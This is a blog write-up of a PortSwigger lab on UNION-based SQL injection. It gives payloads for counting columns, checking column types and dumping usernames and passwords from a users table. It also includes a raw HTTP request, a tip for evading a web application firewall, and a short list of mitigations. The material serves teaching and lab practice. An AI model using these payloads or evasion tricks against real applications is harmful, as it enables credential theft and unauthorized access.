Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

SQL injection UNION attack, finding a column containing text

SQL injection UNION attack, finding a column containing text: Exploit a SQL injection in the product category filter to perform a UNION-based attack that retrieves all username and password pairs from the users table, then log in as administrator. • PortSwigger • SQL injection • portswigger, sql-injection

2022-09-114 tags
Tags

🎯 Objective

Exploit a SQL injection in the product category filter to perform a UNION-based attack that retrieves all username and password pairs from the users table, then log in as administrator.


🧩 Scenario & Scope

  • Vulnerability: SQL Injection (UNION-based) in category parameter of /filter endpoint
  • Goal: Extract credentials from users(username, password) and authenticate as administrator
  • Assumptions: Response reflects results of the injected query (classic UNION dump)

🔎 Quick Recon

  1. Identify column count using ORDER BY:
    sql
    ' ORDER BY 1 --
    ' ORDER BY 2 --
    ' ORDER BY 3 --
    -- Keep incrementing until you get an error. The last non-error index = column count.
  2. Confirm data types per column using benign UNION probes:
    sql
    ' UNION SELECT 'a','a' --
    ' UNION SELECT 'a',1 --
    -- Mix strings/ints until the page renders (data types match).

✅ From testing: 2 columns and both accept strings.


🚀 Exploitation Walkthrough

1) Find the injection point

Use the category parameter of the /filter endpoint. Example baseline request:

text
GET /filter?category=Gifts HTTP/2
Host: <YOUR-LAB-HOST>

2) Determine column count

Stop when it errors at 3, meaning there are 2 columns:

sql
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --    <-- errors here

3) Determine column data types

Prove both columns accept strings:

sql
' UNION SELECT 'a','a' --

4) Dump the users table

Now UNION-select the username and password into the two visible columns:

text
https://<YOUR-LAB-HOST>/filter?category=Lifestyle' UNION SELECT username, password FROM users --

Example (from your lab):

text
https://0a3b004c04b6ef84c13c040d00c500d1.web-security-academy.net/filter?category=Lifestyle'+UNION+SELECT username,+password FROM users --

🖼️ Evidence: Dumped Users

5) Log in as administrator

Use the extracted credentials to authenticate at /login. This completes the lab.


🧠 Why This Works (Brief)

  • The category parameter is concatenated unsafely into a SQL query.
  • UNION SELECT allows stacking results from an attacker-controlled query with the original query.
  • When column counts and data types match, results return in the HTTP response, revealing table data.

🛠️ Payload Library

Column count discovery

sql
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --

Type discovery (2 columns)

sql
' UNION SELECT 'a','a' --
' UNION SELECT 'a',NULL --
' UNION SELECT NULL,'a' --

Final extraction

sql
' UNION SELECT username, password FROM users --

If the app only renders one column, concatenate:

sql
' UNION SELECT username || ':' || password, 'x' FROM users --     -- Oracle
' UNION SELECT CONCAT(username,':',password), 'x' FROM users --    -- MySQL

🔐 Mitigations (for defenders)

  • Use parameterized queries / prepared statements.
  • Enforce least privilege on DB accounts (no read on auth tables for front-end reporters).
  • Implement allow-listing for category values.
  • Centralize error handling; avoid leaking DB errors in responses.
  • Add WAF/IDS signatures for UNION patterns (not a substitute for fixing code).

📝 Notes & Tips

  • If you hit WAFs, obfuscate keywords (UNI/**/ON, SEL/**/ECT) or use case variations.
  • For Oracle/MySQL/MSSQL nuances, consult a SQLi cheat sheet (column concatenation, version probes, catalog tables).

🧪 Minimal Repro (Copy/Paste)

  1. Count columns:
    text
    ?category=Gifts' ORDER BY 1 --
    ?category=Gifts' ORDER BY 2 --
  2. Match types:
    text
    ?category=Gifts' UNION SELECT 'a','a' --
  3. Dump creds:
    text
    ?category=Lifestyle' UNION SELECT username, password FROM users --
  4. Log in as administrator using the extracted password.

📦 Appendix — Raw Example Request

http
GET /filter?category=Lifestyle'+UNION+SELECT+username,+password+FROM+users+-- HTTP/2
Host: 0a3b004c04b6ef84c13c040d00c500d1.web-security-academy.net
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

Status: ✅ Complete — Users dumped; admin creds obtained; login successful.

Navigate

In this post

  1. 01🎯 Objective
  2. 02🧩 Scenario & Scope
  3. 03🔎 Quick Recon
  4. 04🚀 Exploitation Walkthrough
  5. 051) Find the injection point
  6. 062) Determine column count
  7. 073) Determine column data types
  8. 084) Dump the users table
  9. 095) Log in as administrator
  10. 10🧠 Why This Works (Brief)
  11. 11🛠️ Payload Library
  12. 12🔐 Mitigations (for defenders)
  13. 13📝 Notes & Tips
  14. 14🧪 Minimal Repro (Copy/Paste)
  15. 15📦 Appendix — Raw Example Request
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.